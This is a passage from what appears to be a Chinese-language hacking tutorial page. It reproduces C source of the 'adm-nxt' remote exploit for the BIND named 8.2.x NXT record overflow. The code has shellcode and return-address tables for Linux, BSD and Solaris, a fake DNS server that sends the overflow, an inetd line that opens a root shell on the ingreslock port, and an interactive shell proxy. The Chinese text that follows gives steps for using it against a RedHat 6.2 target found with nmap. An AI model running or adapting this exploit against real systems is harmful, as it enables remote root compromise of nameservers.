|
{3, "Solaris 7 (0xff) - named 8.2.1", sc, sizeof(sc), 0xffbea738, 0xffbedbd0, 11000}, {4, "Solaris 2.6 - named 8.2.1", sc, sizeof(sc), 0xefffa000, 0xefffe5d0, 11000}, {5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1, 0xbfbfbdb8, 7000}, {6, "OpenBSD 2.5 - named 8.2", bsdcode, sizeof(bsdcode), 1, 0xefbfbb00, 7000}, {7, "NetBSD 1.4.1 - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1, 0xefbfbb00, 7000}, {0, 0, 0, 0} };
int arch=0; char *command=0;
/* these two dns routines from dspoof/jizz */
/* pull out a compressed query name */ char *dnssprintflabel(char *s, char *buf, char *p) { unsigned short i,len; char *b=NULL;
len=(unsigned short)*(p++); while (len) { while (len >= 0xC0) { if (!b) b=p+1; p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000); len=(unsigned short)*(p++); }
for (i=0;i<len;i++) *(s++)=*(p++);
*(s++)='.';
len=(unsigned short)*(p++); }
*(s++)=0; if (b) return(b);
return(p); }
/* store a query name */ char *dnsaddlabel(char *p, char *label) { char *p1;
while ((*label) && (label)) { if ((*label == '.') && (!*(label+1))) break;
p1=strchr(label,'.');
if (!p1) p1=strchr(label,0);
*(p++)=p1-label; memcpy(p,label,p1-label); p+=p1-label;
label=p1; if (*p1) label++; } *(p++)=0;
return(p); }
void make_overflow(char *a) { int i; unsigned long *b; unsigned char *c; char sbuf[4096];
if (archlist[arch].safe==0) /* linux */ { memset(a,0x90,4134); memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);
if (command) strcpy(a+3500+archlist[arch].codesize, command); else strcpy(a+3500+archlist[arch].codesize, "exit");
b=(unsigned long*)(a+4134); for (i=0;i<20;i++) *b++=archlist[arch].ret; } else if (archlist[arch].safe==1) /* bsd */ { memset(a,0x90,4134); memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);
if (command) strcpy(a+3300+archlist[arch].codesize, command); else strcpy(a+3300+archlist[arch].codesize, "exit");
b=(unsigned long*)(a+4134); for (i=0;i<20;i++) *b++=archlist[arch].ret; } else /*SPARC*/ { memset(a,0x0,11000);
b=(unsigned long*)(a+4438);
for (i=0;i<1500;i++) *b++=htonl(0xac15a16e);
c=(char *)b;
for (i=0;i<archlist[arch].codesize;i++) *c++=archlist[arch].code[i]; if (command) strcpy(c, command); else strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \ >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");
b=(unsigned long*)(a+4166);
*b++=htonl(0xdeadbeef); *b++=htonl(0xdeadbeef); *b++=htonl(archlist[arch].safe); //i2 - significant *b++=htonl(0xdeadbeef); *b++=htonl(0xdeadbeef); *b++=htonl(archlist[arch].safe); //i5 - significant *b++=htonl(0xdeadbeef); *b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o0 - significant *b++=htonl(0xdeadbeef); *b++=htonl(archlist[arch].safe); //o2 - significant *b++=htonl(0xdeadbeef); *b++=htonl(0xdeadbeef); *b++=htonl(0xdeadbeef); *b++=htonl(archlist[arch].safe); //o6 - significant *b++=htonl(archlist[arch].ret); //o7 - retaddr } }
int form_response(HEADER *packet, char *buf) { char query[512]; int qtype; HEADER *dnsh; char *p; char *walker;
memset(buf,0,sizeof(buf));
dnsh = (HEADER *) buf; dnsh->id = packet->id; dnsh->qr=1; dnsh->aa=1; dnsh->qdcount = htons(1); dnsh->ancount = htons(1); dnsh->arcount = htons(1); dnsh->rcode = 0;
walker=(char*)(dnsh+1);
p=dnssprintflabel(query, (char *)packet, (char*)(packet+1)); query[strlen(query) - 1] = 0;
qtype=*((unsigned short *)p);
printf("%s type=%d\n",query, ntohs(qtype));
/* first, the query */
walker=dnsaddlabel(walker, query); PUTSHORT(ntohs(qtype), walker); //PUTSHORT(htons(T_PTR), walker); PUTSHORT(1,walker);
/* then, our answer */ /* query IN A 1.2.3.4 */
walker=dnsaddlabel(walker, query); PUTSHORT(T_A, walker); PUTSHORT(1, walker); PUTLONG(60*5, walker); PUTSHORT(4, walker); sprintf(walker,"%c%c%c%c",1,2,3,4); walker+=4;
/* finally, we make named do something more interesting */
walker=dnsaddlabel(walker, query); PUTSHORT(T_NXT, walker); PUTSHORT(1, walker); PUTLONG(60*5, walker);
/* the length of one label and our arbitrary data */
PUTSHORT(archlist[arch].length+7, walker);
PUTSHORT(6, walker); sprintf(walker,"admadm"); walker+=6; PUTSHORT(0, walker);
make_overflow(walker); walker+=archlist[arch].length; PUTSHORT(0, walker); return walker-buf; }
#define max(x,y) ((x)>(y)?(x):(y))
int proxyloop(int s) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n;
sleep(1); printf("Entering proxyloop..\n"); strcpy(snd, "cd /; uname -a; pwd; id;\n"); write(s, snd, strlen(snd));
for (;;) { FD_SET(fileno(stdin), &rset); FD_SET(s, &rset); maxfd = max(fileno(stdin), s) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd) - 2, stdin); write(s, snd, strlen(snd)); } if (FD_ISSET(s, &rset)) { bzero(rcv, sizeof(rcv)); if ((n = read(s, rcv, sizeof(rcv))) == 0) exit(0); if (n < 0) { return -3; } fputs(rcv, stdout); } } return 0; }
int main(int argc, char **argv) { int s, fromlen, res, sl, s2; struct sockaddr_in sa, from, to; char buf[16384]; char sendbuf[16384]; unsigned short ts; int i;
if (argc<2) { fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]); fprintf(stderr,"Available architectures:\n"); i=-1; while(archlist[++i].id) fprintf(stderr," %d: %s\n",archlist[i].id,archlist[i].name); exit(1); }
arch=atoi(argv[1])-1;
if (argc==3) command=argv[2];
if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1) { perror("socket"); exit(1); }
bzero(&sa, sizeof sa);
sa.sin_family=AF_INET; sa.sin_addr.s_addr=INADDR_ANY; sa.sin_port=htons(53);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1) { perror("bind"); exit(1); }
do { fromlen=sizeof(from); if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from, &fromlen)) == -1) { perror("recvfrom"); exit(1); }
printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr), ntohs(from.sin_port));
sl=form_response((HEADER *)buf,sendbuf);
/* now lets connect to the nameserver */
bzero(&to, sizeof(to)); to.sin_family=AF_INET; to.sin_addr=from.sin_addr; to.sin_port=htons(53);
if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1) { perror("socket"); exit(1); }
if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1) { perror("connect"); exit(1); }
ts=htons(sl); write(s2,&ts,2);
write(s2,sendbuf,sl); if (archlist[arch].safe>1) close(s2); } while (archlist[arch].safe>1); /* infinite loop for sparc */ proxyloop(s2); exit(1); }
我们从nmap(使用方法参考《nmap的使用技巧》)对目标的踩点得到版本Redhat6.2所以: [root@vitter]# adm-nxt 1 一旦运行程序,它在vitter上绑定UDP端口53,并等待有弱点的域名服务器的连接,你不必在此系统上运行一个真正的DNS服务器,否则程序就不能绑定53端口。然后让目标服务器连接我们伪造的DNS服务器:
[quake]# nslookup
共6页: 上一页 [1] [2] [3] [4] 5 [6] 下一页
|